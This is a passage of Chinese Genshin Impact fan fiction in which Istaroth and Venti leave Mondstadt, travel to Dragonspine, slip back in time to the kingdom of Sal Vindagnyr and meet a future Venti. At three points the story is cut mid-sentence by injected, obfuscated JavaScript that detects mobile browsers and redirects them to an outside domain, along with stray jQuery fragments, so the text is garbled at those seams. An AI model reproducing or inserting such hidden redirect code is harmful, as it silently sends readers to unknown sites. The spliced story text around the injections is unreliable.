就是热闹才更想跑啊,伊斯塔露摇了摇头。她本来就没多喜欢热闹,再加上弗莱温之死,就更没有留在蒙德的想法了。
伊斯塔露转身走向城门,干脆利落地拒绝道:
“不用了,谢谢。”
“欸?好吧,再会。”
利伯哈特有些失落地垂下头,又似有不甘般向少女的背影伸出手:
“那我能问你名字吗?我、我,说不定还能见到呢!”
但他和伊斯塔露都清楚,天下何其大,再偶然重逢有多大可能?
“如果我随口说一个名字,你怎么知道是真是假?”
伊斯塔露轻叹一声,在微风中转过身,似笑非笑地看着利伯哈特。
事实上她只是懒得再取一个假名,每去一个地方就换一个名字已经够费劲了。
可大概是这天的风太温柔,衬得少女如此无暇,利伯哈特没有纠结于她连名字都没留下,只是呆呆地望着她拂衣而去。
“就这样吧,有缘再见。”
伊斯塔露无视了青年的目光,不消片刻就消失在了他的视线中。
利伯哈特犹在回味那个笑容,身后却突然传来少年清澈的笑声:
“你好啊,你叫利伯哈特,对吗?”
利伯哈特转过头,脸色一变——今天围观过风神加冕的人,都很难不认识他。
利伯哈特结结巴巴地道:
“巴、巴巴托斯大人?”
少年模样的风神摆了摆手,又将一个圆溜溜的果子抛给利伯哈特:
“唉呀,不要这么客气,叫我名字就好。你吃苹果吗?”
“啊,吃的吃的,”利伯哈特手忙脚乱地接住了苹果,受宠若惊的神色显而易见,“您,您居然知道我的名字吗?”
利伯哈特听说过,今日的风神大人也曾是引领众人反抗高塔孤王的先驱。
他那时候只是城中一个庸庸碌碌的居民,却没想到风神大人居然会知道他的名字。
“当然记得啊。”
温迪理所当然地点点头,咬了一口手中的苹果,笑吟吟地开口:
“我想找个人,能问问你吗?”
“当然,您说。”
“一个白头发的少女,和我差不多高,眼睛是金色的,长得很漂亮,说话语气总是淡淡的,刚才在广场边缘一闪而过了。”
利伯哈特愣住了。
风神简直是指名道姓要找刚才和他告别的姑娘。
温迪显然也看出了利伯哈特的犹豫,他了然地笑了:
“噢,看来你见过她?”
温迪当然知道利伯哈特见过伊斯塔露,甚至有可能和她搭过两句话——否则之前他目不转睛地盯着她实在不太礼貌。
“见过的,”利伯哈特挠了挠后脑勺,“她刚和我告别,说要出城……但她也没有和我说她的名字,我只有这些能告诉您了。”
“哦——”温迪拉长了语调,在利伯哈特有些愧疚的目光中向他行了个礼,“没关系啊,很感谢你的帮助,利伯哈特先生。”
利伯哈特却被吓得垂下头连连后退,口中直呼“使不得使不得”,再抬眼却看见少年模样的风神早已远去。
就和一阵清风一样。
利伯哈特突然有点咯噔。
那个姑娘到底是谁啊?既不愿意透露真名,又能让巴巴托斯大人亲自去找她?
擅长幻想的蒙德小伙已经开始自动脑补了,最后,他惋惜地叹了口气,觉得那位白发的姑娘确实不是自己能够肖想的。
蒙德城门口的水果摊前,伊斯塔露莫名其妙地打了个喷嚏。
摊主麻利地打包好了她买下的苹果,热情洋溢地向这位出手大方的客人确认:
“是把这袋苹果送给城里一个名叫温迪的少年吧?v-e-n-t-i,温迪?”
“是,”伊斯塔露点点头,“辛苦了。”
摊主打量了一下这一大袋苹果,随口感慨道:
“你这位朋友很爱吃苹果吧?送这么多吗?”
想起从风精灵到风神都一如既往地爱吃苹果的少年,伊斯塔露抿了抿唇,轻快地接了一句:
“是啊,苹果看到他都害怕。”
“可你怎么知道他要的是苹果,而不是别的什么呢?”
少年的苦笑声在身后响起。
伊斯塔露没有回头,她向摊主颔首致意后,目不转睛地向城门走去。
“那就要他自己去寻找了,时间会告诉他答案的。”
摊主目瞪口呆地目送着蒙德城的风神大人追着少女消失在视线中。
伊斯塔露没有加快步伐,也没有停下等待,但她能感觉到有人一直在不远不近地跟着她,等一个回答。
最后,在能远眺整个蒙德城的崖边,她叹息一声,终于停下脚步,回望身后的少年。
“嘘,你听。”
在伊斯塔露开口之前,温迪伸出食指抵在她的唇上。
“起风了。”
此时风声萧萧,晴川万里。
少年拉住了她的手,弯起眉眼,他身后是澄净的天空与飘飞的蒲公英。
“风说,抓住你了哦,伊斯塔露。”
“哦——那风骗你的。”
伊斯塔露不为所动,她叹了口气,挣脱了温迪的手,平静又好笑地看着他:
“我有手有脚跑得快,怎么抓得住?”
“跑得确实很快啊,太让人伤心了,伊斯塔露。”
温迪摊了摊手。
“只说了个‘再见’就走了呢。”
“一定要我给一个解释吗?”
伊斯塔露沉吟片刻,无奈地与少年风神对视。
“你知道的,不是所有问题都会有答案,迟早要释怀的……而且解释很麻烦啊。”
但她还是如温迪所愿,给出了解释。
“因为我在这里的事已经做完了,也就没必要留下了。”
“而且弗莱温的死,无论如何都有我的责任,我有救人的能力……”
“嗯?你怎么会这么想?”
温迪第一次打断了她。
“伊斯塔露,无论是我,还是弗莱温,都从没有后悔过的,和你没有关系。”
“有的,如果不是我,「天……”
未尽的话语在此截断。
温迪若有所思地抬眼看她。
“嗯?伊斯塔露想说什么?”
伊斯塔露神色如常:
“不,没什么。”
“伊斯塔露,我也没那么好骗吧?”
温迪叉着腰,笑了一声。
“如果你想做什么,带着我一起吧?”
“……温迪,我不希望看到你走不出过去的仇恨或是懊悔。”
“我不会啊,我答应了弗莱温的,要去看看高天之外,我的心不会困在过去。”
温迪走到她身边,在高崖边
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246385|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐下,晃着双腿。
“但要和你一起做些什么,没有谁比我更合适了,不是吗?”
温迪回头,笃定地看着伊斯塔露,笑了。
他说的是伊斯塔露分给他的一半权能。
“温迪,你想套我话吗?你还想知道什么?”
伊斯塔露和他对视一眼,也在高崖边坐下,轻柔的微风吹过她银白的发丝。
“欸?怎么会呢?”
温迪状似惊讶地看着她,眼中含着笑意,却没有否认那句话。
“怎么可以这么看待我?”
“对啊,你不是弱小可怜又无助的风精灵么?能帮我做什么?”
伊斯塔露顺着温迪曾经的胡诌,揶揄了一句。
“嗯……躲在后面给你喊加油?”
见伊斯塔露有所动摇,温迪新奇地看了她一眼,笑道:
“你看,我这么弱小,所以你一定要保护好我哦。”
“好吧。”
伊斯塔露正色道:
”如果你愿意知道一切。”
“啊,那你会留在蒙德吧?毕竟好的故事可不是一朝一夕能讲完的哦?”
温迪露出了有些狡黠的笑。
“嗯?”
伊斯塔露斜睨了一眼笑得有些得意的少年。
“……我会留一段时间。”
“那么,”温迪从高崖边站起身,向伊斯塔露躬身行了一个绅士礼,“要和我去新的蒙德看看吗,伊斯塔露小姐?”
“去做什么?”
伊斯塔露没有拒绝。
温迪理所当然地道:
“噢,入乡随俗嘛,一起去过风花节呀。”
伊斯塔露眯着眼上下打量少年:
“可你不是风神么?就这样大摇大摆去过节?”
温迪挑眉笑了。
“风神是巴巴托斯,关我吟游诗人温迪什么事?”
微风拂过,青色的风元素力包裹住了温迪,待光芒散去后,巨大的羽翼和白衣都消失不见,一名披着青绿斗篷的吟游诗人站在伊斯塔露面前。
他的着装、发型都和弗莱温何其相似。
伊斯塔露半是感慨半是了然地在心中叹息,拉住了温迪伸向她的手。
“我好看吗?”
小诗人似乎还朝她眨了眨左眼,随后便拉着她往蒙德城的方向跑。
风声清越,前路烂漫。
过耳的风声中似乎还有温迪的邀请:
“伊斯塔露,等蒙德的事处理完,我们就一起去旅行吧。”
伊斯塔露转头看向温迪,银白的长发掠过他的脸颊。
“毕竟战火刚刚结束,总要有人去抚平世界的创伤,有人去寻求交流之道啊。”
“而且我的愿望也是和至交游历整个世界呀。”
“天空、顽石、大海和星空,总有一天会有回应的。”
绿色的吟游诗人笑得快意又温柔。
“虽然没有回应也不影响我弹琴呀,我早就知道的。”
见伊斯塔露面露犹豫之色,温迪软了声音:
“欸?不要这样嘛,你要做什么我也会陪你的啊,不会耽误你的。”
“可以吗?可以吗?可以吗?”
“温迪,即使你知道我们头顶的星空是虚假的?”
“是啊,但那又有什么关系呢?”
伊斯塔露的神色几经变换,最后,她似是释怀般笑了,任由少年去了。
“好啊。”
“我们先去邻国璃月吧?”
伊斯塔露的松口似乎在温迪的预料之中,他已经开始盘算旅游的路线。
“璃月的岩神叫摩拉克斯,我要去找他喝酒。”
……摩拉克斯吗?
伊斯塔露感觉自己的笑容好像有一瞬间僵住了。
她现在反悔,来得及吗?
52.人间一梦(五十二)
“璃月吗?”
伊斯塔露轻咳一声,收起了僵硬的笑容。
“温迪怎么会认识邻国的神?”
“之前在天空岛的时候,我和这位摩拉克斯有过一面之缘。”
温迪说得轻巧。
太社牛了,温迪还是太社牛了。
伊斯塔露眼神飘忽。
这不是挺巧,她也“正好”和摩拉克斯有过几十面之缘。
还恰巧在几百年前被他通缉了。
如果摩拉克斯人老忘性大,那或许会不记得她……
伊斯塔露回忆了一下过去的几百年,那些记忆清晰如初。
既然她记得清楚,摩拉克斯大概忘性也没那么大。
“如果你想去的话,可以。”
伊斯塔露不想和温迪提往事,于是搬出拖延大法。
“在此之前,先陪我去雪山一趟?”
伊斯塔露指向远方的苍白山峦,上面覆盖着风也无法吹散的皑皑冰雪。
“好啊,那等风花节结束就出发,如何?”
温迪没有拒绝,侧头看着她。
伊斯塔露的神色在他说出“摩拉克斯”几个字的时候就有些僵硬,他看得出来。
但她和摩拉克斯到底有什么前尘往事,温迪无意深究,不愿述说也是伊斯塔露的自由。
或许有一天,她会愿意说的。
伊斯塔露沉吟了片刻,挑眉:
“不问我为什么要去?”
“不问啊,但是你愿意告诉我的话,我也很乐意听。”
温迪朝她眨了眨左眼。
伊斯塔露本想搪塞,却又想起自己答应温迪的话,最后还是话锋一转:
“这件事情缘由复杂,解释起来很麻烦……唉,但到时候我会和你说的。”
还在迭卡拉庇安的高塔里时,伊斯塔露偶然听说过,有位居民的祖上有一个名为“伊蒙洛卡”的邻居,据说他就是来自这座雪山。
之所以会记得这个人,是因为伊蒙洛卡救过那位居民的先祖一命。
那是一个高高壮壮的男人,明明有建功立业的力气,却总是浑浑噩噩地说着“银白古树”“天上来的长钉”“公主”等别人听不懂的话,还把手里那根枯朽的银白树枝当做宝。
伊斯塔露能猜到,伊蒙洛卡口中的那根长钉,是「天理」降下的天钉,用于抵御来自深渊的侵蚀——只是不知道这个「天理」究竟是「太阳」法涅斯还是「月亮」。
而她要寻找「光界力」「人界力」和「虚界力」的力量本源,以此对抗「月亮」,还是不免还要继续接触深渊。
当初娜布和阿赫玛尔开启禁忌知识的大门,就已经为人类带来了魔鳞病和死域,如今她要二次触碰深渊,更是要远离人烟。
人迹罕至、还有天钉镇压的龙脊雪山无疑是最好的选择。
伊斯塔露是在为去璃月拖延时间,但也的确打算去雪山走一趟。
但她还记得阿赫玛尔在灵魂被深渊污染后,选择了被阿佩普吞食的结局,不免心有余悸地看了一眼温迪。
还是找个借口把温迪留在外围吧。
.
两天后。
伊斯塔露和温迪并肩站在雪山下。
高耸的雪山险峻而陡峭,山脊附近的天空中漂浮着皑尘凝成的云环,冷硬的冻土蔓延至脚下。
温迪抱着胳膊,往伊斯塔露身边蹭。
“唉,伊斯塔露,这里好冷啊。”
伊斯塔露在风中打开笔记扫了两眼,抬手弹了下温迪的额头,拆穿他:
“你是说,风神被冷风吹得发抖?”
“诶嘿。”
温迪脸上毫无愧色。
伊斯塔露无可奈何地看了他一眼,收起笔记,指向蜿蜒折入山中的小径:
“好了,温迪。走吧,从这里进去。”
到了这个位置,她已经能感觉到,法涅斯降下的天钉就在雪山里的某一处。
但令人不安的是,她能感受到的不只有含有法涅斯力量的天钉,还有某种更具威胁性、却又让她觉得无比熟悉的东西。
希望能平安走出来,伊斯塔露叹息着想。
进入雪山深处的小路偏僻而狭窄,少年和少女踏着嘎吱作响的枯枝,沿着山路盘旋向前。
路边偶有能用元素力点亮的暖灯,伊斯塔露随手点亮了一盏灯,绕过了只剩下半堵矮墙的废墟。
“这里曾经有过人烟吧。”
伊斯塔露在一片断刃前停下了脚步,随后,她俯下身,捡起了残破的剑刃。
剑身锈迹斑斑,但剑身上刻画的纹路却精细无比,这更像是一把具有象征意义的礼仪剑。
借此也隐约窥见曾经的繁荣——从这片雪山深处的废墟。
眼看伊斯塔露捡起了断刃,温迪背着手,悄然开口:
“嗯,我听闻雪山也曾温暖如春,许多逃难的人来到这里,创立了名为「沙尔·芬德尼尔」的国度。”
伊斯塔露掬了一捧雪,盖在了断刃上,将它重新埋入废墟中:
“那这个国度又是怎么被埋葬在过去的呢?”
温迪眨了眨眼,轻咳一声,他眼底的时刻刻度一闪而过。
借伊斯塔露出让给他的权能读取的过去,如同清晰的画卷一般在他面前徐徐展开。
但这也是「月亮」能够注视到的过去。
“要听故事吗?关于古树、祭司和「天理」的故事。”
温迪拨动怀中木琴的琴弦,吟唱着古老的童话。
“这个故事起源于百年以前,那时雪山的气候四季如春,迁徙到这里的难民建立了新的国度,并且依靠与地脉同源的银白古树生存。”
“芬德尼尔的祭司从银白古树中获取谕示与知识,有那么一段时间,这个国度在繁荣发展。”
“可好景不长,祭司或许想通过银白古树窥探天机,这是不被「天理」所允许的,又恰逢深渊在侵蚀边境。”
“于是祂降下修补世界的天钉,却不只是为了抑制深渊入侵,更是为了惩戒妄图窥探天空的人类。”
“四季如春的山峦因此化作冰雪覆盖的冻土,连风也无法将其吹散——这是上天的愤怒。”
“这个国度里的人?他们在风雪中无法生存,生命慢慢凋亡。祭司的女儿——芬德尼尔的公主,折下了最后的古树树枝,派出勇士下山寻找生存之道。”
“可这位选择与民共度风雪的公主啊,最后也没能等来她的骑士,她在风雪中成为了最后的亡者。”
温迪勾起手指,拨出一声轻缓的弦音,以叹息为这段历史作结。
“据说这些亡魂都还在雪山游荡,想要取代过路的行人,这样,冻毙的他们才能回到温暖的地方……”
微微一顿之后,温迪又用幽幽的语气补充道。
伊斯塔露面无表情地转头和他对视:
“你觉得我会害怕吗?”
“说不准我会害怕呢?”
温迪这么说着,拉住了伊斯塔露的手。
“在雪山漂泊了数百年的亡魂,这些对一个手无寸铁的吟游诗人来说,多可怕啊。”
“真的害怕吗?”
伊斯塔露没计较温迪的小动作,只是用眼角余光扫过少年天青色的眼睛。
“可你的眼睛明明在说,你很希望遇到这些灵魂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288431|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“然后把他们送到春暖花开的地方。”
“欸?是吗?”
温迪松开了手,视线和伊斯塔露一触即分。
就在那一瞬间,从二人身边吹过的凛冽疾风都有些乱了步调。
可最后,温迪只是语焉不详地笑了一声,不置可否。
伊斯塔露更没有纠结于温迪的心思,她弯腰进入了逼仄的山洞口。
洞口虽小,洞内却豁然开朗,整个洞窟大约有八人高,表面都被冰霜覆盖,正中央有一座古老的石座,石座上插着一把银蓝的大剑。
“去那边看看吧。”
伊斯塔露指向那座石台,率先走向它,又因为石台上铭刻的文字停下了脚步。
石台上的文字有两行,却是完全不同的意思:
「不要拔出它!不要拔出它!!拔出它的人看见了所有人惨死的命运!」
「这是芬德尼尔勇士的遗留之物。拔出它吧,你从过去走到现在,然后会迎接将至的未来」
上面那句话像警示,下面那句话像诱导。
伊斯塔露挑眉。
她能感觉到天钉的位置,就在她所站立的地面底下。
她也清楚,从上山到找到洞窟,这一路上太顺利了。
可她要面对的是来自高天的天钉和世界之外的「深渊」,上一次接触这些,代价是花神娜布的性命。
那这一次呢?
前面的过程如此轻而易举,让她很难不怀疑这是一个陷阱。
但她不可能不拔出这把剑,因为这是唯一的、最显而易见的线索了。
见伊斯塔露有些踌躇,温迪笑着开口:
“伊斯塔露,如果你想拔出它,我可以帮忙哦?”
“只要你温柔点拜托我就好啦……”
伊斯塔露斩钉截铁地打断了他:
“不用了,温迪,你现在离开这个洞窟。”
温迪怔愣了一下,在伊斯塔露不容置喙的目光中,从善如流地向洞口的方向退了几步。
他还不忘控诉:
“唉呀,我们之间最基本的信任呢?有什么事情又不告诉我啊。”
“温迪,会告诉你的。”
伊斯塔露凝视着石座与大剑,把后半句话咽了回去——
“如果支付完接触深渊的代价后我还能活着的话。”
深吸一口气后,她的五指落在了剑柄上。
随着“呲”的一声闷响,大剑被她拔出石座。
出乎意料的是,拔剑的过程中,伊斯塔露没感受到任何阻力,那把银蓝色的大剑就这样被轻而易举地拔了出来。
但下一瞬,令人不安的轰鸣声从头顶响起。
伊斯塔露循声望去,看见已经摇摇晃晃的冰穹,随即意识到这声音来自高层涌动的积雪。
要发生雪崩了。
伊斯塔露只来得及向着洞口的方向喊了一声:
“温迪,要雪崩了,快离开这里。”
随后,冰面碎裂的声音响起,遮天蔽日的积雪争先恐后地从穹顶落下,似乎要将伊斯塔露淹没其中。
法阵在脚底亮起,伊斯塔露不以为意地向穹顶伸出手。
但积雪却没有如同她想象的那样被静滞在半空,而是停顿片刻后,重新加速扑向她。
她的权能「时间」,失效了?
伊斯塔露脸色一变,随后便见积雪落到了面前。
在视线即将因为雪崩陷入黑暗之前,她隐约听到一声恍若清风的低语:
“找到了,雪山里的银白古树,被「太阳」灭亡的国度。”
“……还有,「太阳」本身。”
53.人间一梦(五十三)
伊斯塔露的失重感很快消失,在渐渐亮起的视线中,天地一白,有流风汇集在她身侧,托住了下坠的身体。
“噢,还好接住你咯。”
少年游刃有余的轻盈声音在她上方响起。
随后,一只白皙清瘦的手从上方伸向她:
“手给我,伊斯塔露。”
伊斯塔露拉住了温迪伸向她的手。
她身侧的风也流动着,托着她向上。
在伊斯塔露上升的某一个瞬间,一声极轻的玻璃破碎声响起。
似乎有什么被打破了。
而脚踩到实地上、看见温迪时,伊斯塔露也发现,她所处的地点并不是之前那个在雪山中的洞窟。
而是富丽堂皇的宫殿。
见她愕然,温迪伸出食指抵在她嘴边,比了个“嘘”的手势:
“伊斯塔露,别出声,那里有人。”
伊斯塔露顺着温迪的视线望向宫殿正中央。
一名祭司打扮的老人跪在通体银白、空有枝干的大树前面,双手合十,虔诚地诵读着什么。
而伊斯塔露和温迪躲在宫殿角落的圆柱后面,恰好在他的视线死角。
而伊斯塔露左手还握着她从洞窟石座中拔出的大剑。
“伊斯塔露,你听得见他在说什么吗?”
温迪用气声问。
“他说,高……温迪,靠太近了。”
伊斯塔露曲起食指,抵着温迪的肩,把他推远了几寸,又在那好似要破碎的目光中,无奈地叹了口气,任由他去了。
“‘高洁的天使大人,请谕示我们:我们知晓了世界上有神明的存在,我们想求得神的垂怜,我们想窥见世界的真实’,他是这么说的。”
“欸?求得神的垂怜吗……”
温迪似是想起了什么,不置可否地笑了笑。
“还有一个问题,”伊斯塔露顿了顿,视线落在巍然而立的银白古树上,“银白古树在天钉落下的时候就被毁了,那我们现在看到的是什么?”
“我们在哪里?或者说……”
“我们在哪个时间节点?”
闻言,温迪倒是早有预料一般弯起眉眼,轻哼一声:
“伊斯塔露已经猜到了吧?在你拔出剑的瞬间,时间洪流带我们回到了过去。”
“这也是我好奇的另一点,”伊斯塔露眯起了眼睛,向温迪摊开掌心,“我的权能从那一瞬间开始,到现在,都失效了。”
温迪难得正色起来:“因为「层侵」。”
“雪山的天钉镇压的是深渊中的「层侵」,这种力量连时间都可以侵蚀。”
“所以天钉周围的时间都是乱序的,谁也不知道靠近天钉的过程中,会穿越几个时空。”
“……深渊么,我知道了。”
温迪什么时候知道这么多了?
伊斯塔露深深看了他一眼,最后还是没有提出质疑。
因为眼前还有一件迫在眉睫的事。
她忘记了自己的权能无法在这里生效,和温迪聊得太肆无忌惮了。
原本跪在银白古树前面的祭司已经站在了二人面前,用手中的拐杖重重地敲击地面:
“咳咳。”
望着这两个面生的年轻人,祭司肃然道:
“老身半截身躯入土,无意计较许多事。唯有擅闯此地者,无法被原谅——”
“欸欸,伊斯塔露,大事不妙。”
当着祭司的面,温迪还有心思和伊斯塔露耳语。
伊斯塔露叹气:“……温迪,我看得出来。”
“事到如今,也只有一个办法咯。”
闻言,伊斯塔露挑眉看向温迪,却见他将手掌曲成筒状,向她眨了眨左眼:
“快、跑。”
随后,温迪拉起伊斯塔露的手,一个滑步,和祭司擦肩而过,又毫不犹豫地奔向离他最近的那扇门。
伊斯塔露被温迪拉着跑出了原本那间宫殿,和他在走廊上快速奔跑:
“我说温迪,你业务能力有点太熟练了吧?”
温迪回头朝她眨了眨眼,眼中闪过细碎的光:
“诶嘿。”
两人在走廊里跑了一阵后,明显听到前后都响起了杂乱的脚步声,在进退维谷之际,伊斯塔露手边的门被人拉开一条缝。
“二位,这里这里,快进来。”
少女的声音从门缝后传来。
伊斯塔露瞥了一眼身后追来的人影,毫不犹豫地拉着温迪顺着门缝溜进了那间宫殿。
门被关上的瞬间,伊斯塔露呼出一口气,就听面前传来少女的声音:
“二位好,我是芬德尼尔的公主。”
伊斯塔露抬眼,看见温柔美丽的少女提起裙摆,向她行了一个优雅的礼。
“您和天使向我提到的神女长得一模一样,神女大人,您是来拯救我们的么?”
她说的是伊斯塔露。
在温迪揶揄的目光中,伊斯塔露移开目光,提出异议:
“公主,你没有认错人吗?”
她的权能无法使用,她本人也得想办法从乱序的时间里回去,实在扮演不了救世主了。
公主却无比笃定地点头:“就是您,天使说,曾有白发金眸、头顶天环的神女从天而降,拯救了她们的同胞,我觉得就是您。”
伊斯塔露本想反驳,看见公主眼中那近乎哀求的期冀时,她把原来的话咽下,话锋一转:
“所以公主,你想说什么?”
公主从她的梳妆台上拈起一片散发着温润光芒的白色树叶,悲伤地陈述着:
“芬德尼尔的祭司,是我的父亲,由他通过银白古树向天使寻求谕示,我们借此生存。”
“我们因此在山中创造了繁荣的国度,可人的野心会膨胀,爸爸向天使询问更多,便收到了来自传说中的神明的警示。”
“神明说,我们妄图窥探天机,已经触犯了规则,祂会亲自出手毁灭我们。”
“从那天开始,爸爸日夜向银白古树祷告,希望神明能够容情。”
“我也能与天使沟通,但我和爸爸想得不一样,我不觉得那位神明,会因我们的祈求而心慈手软……”
“唯有我们自己才能拯救自己。”
“我不想像爸爸说的那样,只是在宫殿里画着壁画,等待神的垂怜。我想要找到别的办法自救……”
公主双手捧着树叶,将它递到伊斯塔露面前:
“这是银白古树唯一一片树叶,若您需要帮忙,吹响它吧,国土上故去的魂灵会帮助你们。”
“我想用这唯一的奇迹,向二位交换一往无前的勇气。”
公主指向伊斯塔露左手提着的那把大剑:“我想要您这把来自神明的剑。”
伊斯塔露若有所思地端详着银蓝色的大剑。
她刚才逃跑的时候,居然没有把这又沉又显眼的玩意丢掉。
而对于公主的请求,温迪和伊斯塔露都看出来了端倪,可两人都默契地没有开口。
在即将到来的大灾面前,公主的眼神已经濒临绝望。她口中所谓“来自神明的剑”,不过是自欺欺人的借口。
大灾当前,她只是需要一点变数、需要一点象征勇气的寄托而已。
于是伊斯塔露接过了树叶,将手中的大剑递给公主:
“……公主,愿勇气与你同在。”
公主脸色苍白地笑了笑:
“我会将这把剑和一截古树的树枝交给我们的勇士伊蒙洛卡,派遣他下山为我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296055|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寻找到新的生机。”
“而我和爸爸,会与我们的人民同在。”
诡异的静默在三人之间蔓延开。
伊蒙洛卡,那个在高塔孤王时期的人,早已淹没在历史的洪流中。
浑浑噩噩的勇士,已经昭示了芬德尼尔无可变更的结局。
伊斯塔露深吸一口气后,向公主点了点头:
“那公主,我们离开了。”
她拉开了通往走廊的门。
可门后却不是走廊与追兵,而是一片空濛的纯白。
伊斯塔露本想后退,眼前的白色却争先恐后地蔓延过来,将她和温迪包裹其中……
.
伊斯塔露猛然睁开眼。
眼前是覆雪的洞窟,巨大的冰棱肆意横斜,不远处有一个看不见底的坑洞,而插着大剑的石座就在她面前。
而那把大剑,又回到了她手里。
“……我们回来了?”
伊斯塔露犹疑不定地回头看温迪,眼神像是在询问。
这些像是一场奇异又短暂的梦。
可公主给她的树叶还在手中,昭示着这一切都是真实发生过的。
这段记忆看似荒唐,可在乱序的时间里,却没有谬误。
得到大剑的公主将大剑托付给了勇士伊蒙洛卡,最后,伊蒙洛卡又将大剑插回了石座,直到伊斯塔露拔出它,带它回到过去。
每一步都严丝缝合,时间的逻辑在此闭环。
而长剑虽然带给了公主微末的勇气,却并不能让她抗衡必然的天灾。
伊斯塔露叹息着,将长剑插回了石座,却在石座后面看到了之前未曾注意的两行字——
「我们不为仰望天空而后悔」
「我们被风雪杀死,却没有被风雪打败」
石刻没有署名,但伊斯塔露确信,那是公主留给她、留给后人的遗言。
在神眼中轻如鸿毛的国度,在人眼中却重如泰山。
沙尔·芬德尼尔,这个如流星般划过「时间」的国度,以公主这两句话作结。
而伊斯塔露的雪山之行并非到此为止,她走向坑洞,隐约看见了下方漂浮着的蓝色长钉。
但越是靠近那里,时间便越不稳定,几乎呈现出了肉眼可见的记忆碎片。
温迪站在伊斯塔露身后,抱着双臂眺望坑洞下的阴影:
“要不然我陪伊斯塔露一起去看看吧?虽然我手不能提肩不能挑,但是毕竟是你的事嘛,我很乐意帮忙哦。”
顿了顿,他又拉长了语调,笑道:
“不过伊斯塔露也拿出些诚意来如何?比如说……”
“不用了,温迪保护好自己就行。”
伊斯塔露余光扫过温迪,拒绝得干脆利落。
“我自己下去看看。”
“嗯……”
“还是和以前一模一样呢,伊斯塔露。”
像是对她的回答早有预料,温迪毫不惊讶地挠了挠脸颊,轻叹一声。
“什么……?”
伊斯塔露刚要回头询问,却听侧面又传来一道和温迪一模一样的声音。
“伊斯塔露!”
一抹翠绿从白茫茫中脱出,不远处又出现了一个吟游诗人打扮的温迪,他向伊斯塔露挥了挥手。
“呼,终于找到你啦……诶?他是?”
后来的温迪注意到了伊斯塔露身边的温迪后,愣在了原地。
伊斯塔露的视线在两个温迪之间逡巡。
伊斯塔露身边的温迪轻拨了一下琴弦,愉快地朝她眨了眨左眼,笑道:
“嗯,看上去好难选啊。你觉得谁是温迪呢,伊斯塔露?”
他冲着另一个温迪遥遥一指:
“我,还是他?”
54.人间一梦(五十四)
“嗯?”
伊斯塔露像是没反应过来,她的视线又在二人身上转了一圈。
眼中没有一丝惊讶。
片刻后,她才和身边的温迪对视,悠悠地叹了口气。
“谁是温迪?当然是你。”
“噢,我吗?当然啦。”
这个温迪双手叉腰,和远处的人对视一眼后,开始促狭地做鬼脸。
“欸?怎么这样?”
远处的温迪脸色垮了下来,他指着自己:“伊斯塔露,我才是温迪,之前说好还要陪我去璃月的。”
“我也没说你不是啊。”
伊斯塔露抱着双臂,往坑洞的方向走去,眼角余光扫过一模一样的二人,开口:
“你们两个,一个是现在的温迪,一个是未来的温迪,对吧?”
“欸?这么快就看出来了?”
伊斯塔露身边的温迪干脆利落地承认了,还有些遗憾地摊了摊手。
“本来还想逗以前的我玩玩儿呢,该说不愧是伊斯塔露吗?”
伊斯塔露对他的感慨恍若未闻,她停下脚步,回头注视着那苍青如天空的眼眸,摇头道:
“你看上去太疲惫了。”
“现在的温迪还没经历那么多事吧。”
来自未来的温迪轻笑一声,顾左右而言他。
“欸欸?是嫌弃我老了吗?伊斯塔露,好狠的心啊。”
随后,他又抱着双臂看向现在的自己,歪了歪头:
“好啦,不用尝试过来了。”
“你和我们不在同一个时间节点上。”
未来的温迪抬起手,青色的风元素力从他指尖散开,飘向前方,勾勒出一面透明屏障的轮廓。
屏障恰好隔开了现在的温迪和其余二人。
对面的温迪似乎还不信邪,他伸出手,想要触碰那面屏障,可指尖在触及屏障之前,却呈现出了漩涡状的扭曲。
对面的温迪骤然收回了手。
“伊斯塔露的权能,现在的你还不太会用吧。”
未来的温迪不是很有同情心地看着现在的自己,挑眉笑道:
“噢,那就留在这个时间节点吧。”
随后,风元素力散去,那层屏障变得越来越厚,现在的温迪似乎张嘴说着什么,却已经不可闻。
未来的温迪则邀请般向伊斯塔露伸出手。
“伊斯塔露,走吧,你要去看看那枚天钉的,对吧?”
伊斯塔露却没有动,她和未来的温迪大眼瞪小眼地站在坑洞边,看着他好似无辜般眨了眨眼。
“那么你呢,温迪,你又为何而来?如何来到这里?”
“欸,直接问多没意思啊。”
温迪将手指抵在唇边,向她眨了眨左眼。
“来猜猜看如何?说不定是为了你来的哦?”
“那还是不要为我而来了吧。”
伊斯塔露叹息一声。
“我知道我要做什么,这些事还是不要让别人卷进来了。”
“温迪,我也希望你能轻松一些。”
“怎么会累呢?两千六百年后的苹果酒也很好喝,树间的风也很温柔。”
